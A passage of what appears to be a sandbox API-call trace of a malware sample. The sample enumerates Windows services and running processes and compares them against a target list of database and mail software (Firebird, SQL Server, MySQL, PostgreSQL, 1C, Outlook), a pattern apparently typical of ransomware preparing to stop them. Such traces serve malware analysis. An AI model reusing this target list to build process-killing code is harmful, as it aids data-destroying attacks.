lpString2="RpcEptMapper") returned -1 [0042.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.695] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.695] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.695] lstrlenW (lpString="RpcSs") returned 5 [0042.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.695] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.695] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.695] lstrlenW (lpString="SamSs") returned 5 [0042.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.695] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.695] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.695] lstrlenW (lpString="Schedule") returned 8 [0042.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.695] lstrlenW (lpString="SENS") returned 4 [0042.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.695] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.695] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.696] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.696] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.696] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.696] lstrlenW (lpString="Spooler") returned 7 [0042.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.696] lstrlenW (lpString="SysMain") returned 7 [0042.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.696] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.696] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.696] lstrlenW (lpString="Themes") returned 6 [0042.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0042.696] lstrlenW (lpString="TrkWks") returned 6 [0042.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0042.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0042.696] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0042.696] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0042.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0042.696] lstrlenW (lpString="UxSms") returned 5 [0042.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0042.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0042.697] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0042.697] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0042.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0042.697] lstrlenW (lpString="VSS") returned 3 [0042.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0042.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0042.697] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0042.697] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0042.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0042.697] lstrlenW (lpString="WdiServiceHost") returned 14 [0042.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.697] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0042.697] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0042.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0042.697] lstrlenW (lpString="WdiSystemHost") returned 13 [0042.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.697] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0042.697] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0042.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0042.697] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0042.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.697] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0042.697] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0042.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0042.697] lstrlenW (lpString="Winmgmt") returned 7 [0042.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0042.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0042.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0042.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0042.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0042.698] lstrlenW (lpString="WPDBusEnum") returned 10 [0042.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.698] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0042.698] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0042.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0042.698] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x329f0a0 | out: hHeap=0x790000) returned 1 [0042.698] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0042.701] Process32FirstW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.702] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.702] lstrlenW (lpString="System") returned 6 [0042.702] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0042.702] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0042.702] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0042.702] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0042.702] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0042.702] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0042.702] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0042.702] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.702] lstrlenW (lpString="smss.exe") returned 8 [0042.702] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0042.703] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0042.703] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0042.703] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0042.703] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0042.703] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0042.703] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0042.703] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.703] lstrlenW (lpString="csrss.exe") returned 9 [0042.703] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.703] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0042.703] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0042.703] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0042.703] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0042.703] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0042.703] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0042.703] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0042.703] lstrlenW (lpString="wininit.exe") returned 11 [0042.703] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0042.703] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0042.704] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0042.704] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0042.704] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0042.704] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0042.704] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0042.704] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.704] lstrlenW (lpString="csrss.exe") returned 9 [0042.704] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.704] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0042.704] lstrlenW (lpString="winlogon.exe") returned 12 [0042.704] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0042.705] lstrlenW (lpString="services.exe") returned 12 [0042.705] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0042.705] lstrlenW (lpString="lsass.exe") returned 9 [0042.705] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0042.705] lstrlenW (lpString="lsm.exe") returned 7 [0042.705] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.705] lstrlenW (lpString="svchost.exe") returned 11 [0042.706] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.706] lstrlenW (lpString="svchost.exe") returned 11 [0042.706] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.706] lstrlenW (lpString="svchost.exe") returned 11 [0042.706] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.706] lstrlenW (lpString="svchost.exe") returned 11 [0042.706] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.707] lstrlenW (lpString="svchost.exe") returned 11 [0042.707] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0042.707] lstrlenW (lpString="audiodg.exe") returned 11 [0042.707] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.707] lstrlenW (lpString="svchost.exe") returned 11 [0042.707] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.707] lstrlenW (lpString="svchost.exe") returned 11 [0042.707] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0042.708] lstrlenW (lpString="dwm.exe") returned 7 [0042.708] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0042.708] lstrlenW (lpString="explorer.exe") returned 12 [0042.708] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0042.708] lstrlenW (lpString="spoolsv.exe") returned 11 [0042.708] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.709] lstrlenW (lpString="taskhost.exe") returned 12 [0042.709] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.709] lstrlenW (lpString="svchost.exe") returned 11 [0042.709] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0042.709] lstrlenW (lpString="taskeng.exe") returned 11 [0042.709] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.709] lstrlenW (lpString="taskhost.exe") returned 12 [0042.709] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0042.710] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0042.710] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0042.710] lstrlenW (lpString="noticed.exe") returned 11 [0042.710] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0042.710] lstrlenW (lpString="uploaded.exe") returned 12 [0042.710] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0042.711] lstrlenW (lpString="hardware.exe") returned 12 [0042.711] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0042.711] lstrlenW (lpString="oracle.exe") returned 10 [0042.711] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0042.711] lstrlenW (lpString="creativity.exe") returned 14 [0042.711] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0042.711] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0042.711] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0042.712] lstrlenW (lpString="edited.exe") returned 10 [0042.712] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0042.712] lstrlenW (lpString="custody.exe") returned 11 [0042.712] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0042.712] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0042.712] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0042.713] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0042.713] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0042.713] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0042.713] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0042.713] lstrlenW (lpString="radius.exe") returned 10 [0042.713] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0042.713] lstrlenW (lpString="extensions.exe") returned 14 [0042.713] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0042.714] lstrlenW (lpString="desperate.exe") returned 13 [0042.714] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0042.714] lstrlenW (lpString="professor-mo.exe") returned 16 [0042.714] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0042.714] lstrlenW (lpString="guidance.exe") returned 12 [0042.714] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0042.715] lstrlenW (lpString="week.exe") returned 8 [0042.715] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, 